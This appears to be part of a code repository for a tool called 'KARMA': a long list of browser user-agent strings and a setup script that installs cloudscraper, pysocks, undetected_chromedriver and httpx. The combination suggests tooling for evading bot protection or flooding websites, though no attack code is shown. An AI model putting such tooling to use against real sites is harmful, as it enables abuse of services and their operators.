370 | Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/5.1 Mobile/12H321 Safari/7600.1.4
371 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/7.0; ASU2JS)
372 | Mozilla/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG SM-T330 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36
373 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)
374 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36
375 | Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
376 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.0 AOL/9.7 AOLBuild/4343.3045.US Safari/537.1
377 | Mozilla/5.0 (Linux; U; Android 4.3; en-us; sdk Build/MR1) AppleWebKit/536.23 (KHTML, like Gecko) Version/4.3 Mobile Safari/536.23
378 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36
379 | Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.46 Safari/537.36
380 | Mozilla/5.0 (New Nintendo 3DS like iPhone) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.0.5.15 Mobile NintendoBrowser/1.3.10126.EU
381 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
382 | Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/8.0; Touch; WebView/2.0; rv:11.0; IEMobile/11.0; NOKIA; Lumia 929) like Gecko
383 | Mozilla/5.0 (Linux; U) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4
384 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10
385 | Mozilla/5.0 (Windows NT The given key was not present in the dictionary.; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
386 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/26.0.1410.64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
387 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 1320) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
388 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; .NET4.0E)
389 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko
390 | Mozilla/5.0 (Linux; Android 5.1; XT1025 Build/LPC23.13-34.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.108 Mobile Safari/537.36
391 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
392 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I510 4G Build/FP8) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
393 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1
394 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:31.0) Gecko/20100101 /31.0
395 | Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H321 Safari/600.1.4
396 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36
397 | Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; MAXTAB Q8 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
398 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.46 Safari/537.36
399 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
400 | Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4
401 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
402 | Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10
403 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
404 | NerdyBot
405 | Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre
406 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko
407 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre
408 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre
409 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0
410 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPNTDF; BRI/1)
411 | Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0
412 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
413 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0)
414 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15
415 | Opera/9.80 (J2ME/MIDP; Opera Mini/4.5.40312/37.6334; U; en) Presto/2.12.423 Version/12.16
416 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; rctw)
417 | Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.11 NintendoBrowser/4.3.0.11224.US
418 | Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; NOKIA; Lumia 730 Dual SIM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10512
419 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
420 | Mozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30
421 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
422 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Dragon/43.3.3.185 Chrome/43.0.2357.81 Safari/537.36
423 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
424 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
425 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; yie9)
426 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
427 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174
428 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24
429 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
430 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 UBrowser/5.4.4237.1024 Safari/537.36
431 | Mozilla/5.0 (iPod touch; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4
432 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
433 | Mozilla/5.0 (Windows NT 10.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
434 | Mozilla/5.0 (Linux; U; Android 4.4.4; fi-fi; GT-I9305 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
435 | Mozilla/5.0 (Linux; U; Android 2.3.6; tr-tr; LG-E400 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.2
436 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Dragon/43.3.3.185 Chrome/43.0.2357.81 Safari/537.36
437 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; RRHSO_BLD1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; RRHSO_BLD1)
438 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28
439 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)
440 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)
441 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
442 | Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174
443 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
444 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.7
445 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.50 (KHTML, like Gecko) Version/9.0 Safari/601.1.50
446 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
447 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATM; rv:11.0) like Gecko
448 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
449 | Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
450 | Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0
451 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
452 | Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko; googleweblight) Chrome/38.0.1025.166 Mobile Safari/535.19
453 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; ASU2JS)
454 | Mozilla/5.0 (Linux; Ubuntu 14.04 like Android 4.4) AppleWebKit/537.36 Chromium/35.0.1870.2 Mobile Safari/537.36
455 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)
456 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; COOEE)
457 | Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12F69
458 | Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 640 XL LTE Dual SIM) like Gecko
459 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
460 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)
461 | Opera/9.80 (Android; Opera Mini/7.5.33361/37.6334; U; en) Presto/2.12.423 Version/12.16
462 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
463 | Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
464 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
465 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729)
466 | Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20100101 Firefox/21.0 WordPress.com mShots
467 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36
468 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1
469 | Mozilla/5.0 (Linux; Android 5.0.2; LG-D802/V30d Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Mobile Safari/537.36
470 | Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
471 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4043.US Safari/537.36
472 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko
473 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
474 | Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12B440 Safari/600.1.4
475 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36
476 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5
477 | Mozilla/5.0 (Windows NT 10.0; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko
478 | Mozilla/5.0 (compatible; WOW64; MSIE 10.0; Windows NT 6.2)
479 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321
480 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; tb-webde/2.6.4)
481 | Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
482 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 YaBrowser/15.6.2311.5029 Safari/537.36
483 | Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321
484 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36
485 | Mozilla/5.0 (iPad; U; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H8 Safari/6533.18.5
486 | Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSOWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36
487 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.0 AOL/9.7 AOLBuild/4343.2039.US Safari/537.1
488 | Mozilla/5.0 (Linux; Android 5.0.2; SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36
489 | Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36
490 | Opera/9.80 (Linux armv6l; Opera TV Store/5599; (SonyBDP/BDV13)) Presto/2.12.362 Version/12.11
491 | Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0
492 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
493 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50728)
494 | Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebKit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42
495 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
496 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
497 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
498 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 535) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
499 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko
500 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; BRI/1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | print("""
4 | \x1b[38;2;255;20;147m╦╔═ ╔═╗ ╦═╗ ╔╦╗ ╔═╗
5 | \x1b[38;2;255;20;147m╠╩╗ ╠═╣ ╠╦╝ ║║║ ╠═╣
6 | \x1b[38;2;255;20;147m╩ ╩ ╩ ╩ ╩╚═ ╩ ╩ ╩ ╩\x1b[38;2;0;255;58m>(setup)
7 | """)
8 |
9 | print("""[0] pip\n[1] pip3\nWhich one do you use?""")
10 |
11 | c = input(">>>: ")
12 | if c == "0":
13 | os.system("pip install cloudscraper")
14 | os.system("pip install socks")
15 | os.system("pip install pysocks")
16 | os.system("pip install colorama")
17 | os.system("pip install undetected_chromedriver")
18 | os.system("pip install httpx")
19 |
20 | elif c == "1":
21 | os.system("pip3 install cloudscraper")
22 | os.system("pip3 install socks")
23 | os.system("pip3 install pysocks")
24 | os.system("pip3 install colorama")
25 | os.system("pip3 install undetected_chromedriver")
26 | os.system("pip3 install httpx")
27 | if os.name == "nt":
28 | pass
29 | else:
30 | os.system("wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb")
31 | os.system("apt-get install ./google-chrome-stable_current_amd64.deb")
32 |
33 | print("Done.")
34 |
--------------------------------------------------------------------------------